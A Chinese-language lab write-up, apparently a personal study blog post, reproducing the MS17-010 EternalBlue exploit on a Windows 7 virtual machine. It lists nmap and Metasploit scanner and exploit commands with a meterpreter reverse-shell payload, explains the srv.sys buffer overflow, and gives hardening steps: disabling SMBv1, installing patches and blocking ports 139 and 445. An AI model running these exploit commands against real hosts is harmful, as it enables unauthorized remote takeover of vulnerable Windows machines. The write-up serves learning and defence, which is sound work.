返回所有文章

MS17-010 实验复现与防御笔记

在 Kali Linux 与 Windows 7 虚拟机环境中记录实验过程,并整理漏洞原理和系统加固方法。

整理自个人 Notion 笔记 · 原笔记更新于

文章目录 6 个章节

实验环境和准备:

  • 攻击机:Kali Linux 2026.2
  • 靶机 Windows 7 x64
  • 网络模式:确保攻击机和靶机在同一个局域网

收集当前网络环境:

Kali:
MS17-010 实验复现与防御笔记 · 原笔记截图 1
WIn7:
MS17-010 实验复现与防御笔记 · 原笔记截图 2
确认两台机器在同一局域网内。在 Kali 中 ping 靶机,确认能 ping 通:
MS17-010 实验复现与防御笔记 · 原笔记截图 3


信息收集和漏洞扫描

在 Kali 中运行 Nmap 扫描靶机的开放端口:

nmap -sS -O 192.168.221.136

确认开放了 445 端口:
MS17-010 实验复现与防御笔记 · 原笔记截图 4


启动 Metasploit 并配置利用模块:

在 Metasploit 控制台中,搜索永恒之蓝扫描模块,并且确认是否存在漏洞:

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.221.136
run

确认扫描到漏洞:
MS17-010 实验复现与防御笔记 · 原笔记截图 5
加载利用模块:

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.221.136
set LHOST 192.168.221.135
set payload windows/x64/meterpreter/reverse_tcp

exploit

成功远程连接:
MS17-010 实验复现与防御笔记 · 原笔记截图 6


漏洞技术原理深析 (MS17-010)

MS17-010(CVE-2017-0144)是 Windows SMBv1 协议实现中的经典缓冲区溢出漏洞:

  1. 协议缺陷定位
    • 漏洞位于 Windows 内核驱动 srv.sys。
    • 该驱动负责解析并处理 SMBv1 协议的报文请求。
  2. 数学与逻辑错误(整型越界与缓冲区溢出)
    • 当客户端向服务器发送扩展属性(Extended Attributes, FEA)请求时,会调用 SrvOs2FeaListToNt 函数将 OS/2 FEA 格式转换为 NT FEA 格式。
    • 在计算所需缓冲区大小时,系统对数据长度的处理存在逻辑缺陷:当输入的 FEA 列表长度超出预期(即 FeaListSize 发生整型回绕或计算溢出)时,分配给转换后数据的内核池缓冲区偏小。
    • 随后系统在执行数据复制时,超长的数据覆盖了相邻的内核池内存结构,从而造成内核池溢出(Pool Overflow)。
  3. 安全危害
    • 攻击者构造特定格式的畸形 SMB 请求,无需经过身份认证即可破坏内核数据结构并劫持控制流,直接以操作系统的最高权限(SYSTEM 权限)执行代码。

靶机加固与防御配置方案

针对该实验中的第 5 部分防御要求,可以从协议禁用、系统补丁及边界防护三个维度实施加固:

  1. 彻底禁用过时的 SMBv1 协议
    GUI 方式:打开“控制面板” -> “程序和功能” -> “启用或关闭 Windows 功能”,找到并取消勾选 SMB 1.0/CIFS 文件共享支持,保存后重启系统。
  2. 安装安全更新补丁
    • 检查系统补丁列表,确认已安装针对 MS17-010 的安全补丁:
      • Windows 7 / Server 2008 R2 对应补丁号通常为 KB4012212 或 KB4012215。
    • 可在命令行运行以下命令检查是否已修复:DOS

wmic qfe get hotfixid | findstr 4012212
```
3. 网络与防火墙策略
- 在网络边界设备及主机防火墙上阻断敏感端口入站流量:
- 禁用 TCP 139、445 端口对不可信网络的开放。
- 仅允许内网受信任的网段或管理主机访问必要的文件共享服务。

写下来,是为了更好地理解。
— 木之风

继续阅读 · 渗透学习

渗透测试学习笔记:从基础到实践

↑